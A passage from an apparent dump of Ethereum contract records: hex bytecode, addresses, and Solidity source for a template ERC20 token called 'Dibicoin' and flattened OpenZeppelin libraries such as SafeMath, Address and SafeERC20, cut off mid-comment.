24565b6040805160ff9092168252519081900360200190f35b34801561031257600080fd5b506101ac61062d565b34801561032757600080fd5b5061026e610688565b34801561033c57600080fd5b5061026e600160a060020a036004351661068e565b34801561035d57600080fd5b5061026e6106a9565b34801561037257600080fd5b506101ac6106af565b34801561038757600080fd5b50610245600160a060020a036004351660243561070a565b3480156103ab57600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610245948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506107a19650505050505050565b34801561041457600080fd5b5061026e600160a060020a036004358116906024351661093c565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104b55780601f1061048a576101008083540402835291602001916104b5565b820191906000526020600020905b81548152906001019060200180831161049857829003601f168201915b505050505081565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60025481565b600954600160a060020a031681565b600160a060020a03831660009081526020819052604081205482118015906105845750600160a060020a03841660009081526001602090815260408083203384529091529020548211155b80156105905750600082115b1561061957600160a060020a0380841660008181526020818152604080832080548801905593881680835284832080548890039055600182528483203384528252918490208054879003905583518681529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600161061d565b5060005b9392505050565b60045460ff1681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104b55780601f1061048a576101008083540402835291602001916104b5565b60075481565b600160a060020a031660009081526020819052604090205490565b60085481565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104b55780601f1061048a576101008083540402835291602001916104b5565b3360009081526020819052604081205482118015906107295750600082115b15610799573360008181526020818152604080832080548790039055600160a060020a03871680845292819020805487019055805186815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a350600161051e565b50600061051e565b336000818152600160209081526040808320600160a060020a038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a383600160a060020a031660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e019050604051809103902060e060020a9004338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a03168152602001828051906020019080838360005b838110156108e15781810151838201526020016108c9565b50505050905090810190601f16801561090e5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af192505050151561093257600080fd5b5060019392505050565b600160a060020a039182166000908152600160209081526040808320939094168252919091522054905600a165627a7a72305820321c06b74abc66f926e47b45a3fd5395e482cdbcd33f2e586ab3938ccbc8e6740029
[ 38 ]
0xf39e4b22050334aaf04259d30d73e78bfee8ab58
pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 10000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 10000000000000; // Update total supply (100000 for example) name = "Dibicoin"; // Set the name for display purposes decimals = 3; // Amount of decimals for display purposes symbol = "DIBI"; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d0578063313ce5671461024957806354fd4d501461027857806370a082311461030657806395d89b4114610353578063a9059cbb146103e1578063cae9ca511461043b578063dd62ed3e146104d8575b34156100ba57600080fd5b600080fd5b34156100ca57600080fd5b6100d2610544565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105e2565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba6106d4565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106da565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c610953565b604051808260ff1660ff16815260200191505060405180910390f35b341561028357600080fd5b61028b610966565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102cb5780820151818401526020810190506102b0565b50505050905090810190601f1680156102f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561031157600080fd5b61033d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a04565b6040518082815260200191505060405180910390f35b341561035e57600080fd5b610366610a4c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a657808201518184015260208101905061038b565b50505050905090810190601f1680156103d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ec57600080fd5b610421600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610aea565b604051808215151515815260200191505060405180910390f35b341561044657600080fd5b6104be600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610c50565b604051808215151515815260200191505060405180910390f35b34156104e357600080fd5b61052e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ef1565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105da5780601f106105af576101008083540402835291602001916105da565b820191906000526020600020905b8154815290600101906020018083116105bd57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107a6575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156107b25750600082115b1561094757816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061094c565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109fc5780601f106109d1576101008083540402835291602001916109fc565b820191906000526020600020905b8154815290600101906020018083116109df57829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ae25780601f10610ab757610100808354040283529160200191610ae2565b820191906000526020600020905b815481529060010190602001808311610ac557829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b3a5750600082115b15610c4557816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610c4a565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610e91578082015181840152602081019050610e76565b50505050905090810190601f168015610ebe5780820380516001836020036101000a031916815260200191505b5094505050505060006040518083038160008761646e5a03f1925050501515610ee657600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a723058209e7f13b5336cabd79607f7c6d139e3f8f3b1bb6a75a21b70dfcb994f4b4583510029
[ 38 ]
0xf39e4e9ab99812872d4234bb021d15be4b7ed524
// File: @openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/GSN/Context.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/ReentrancyGuard.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass 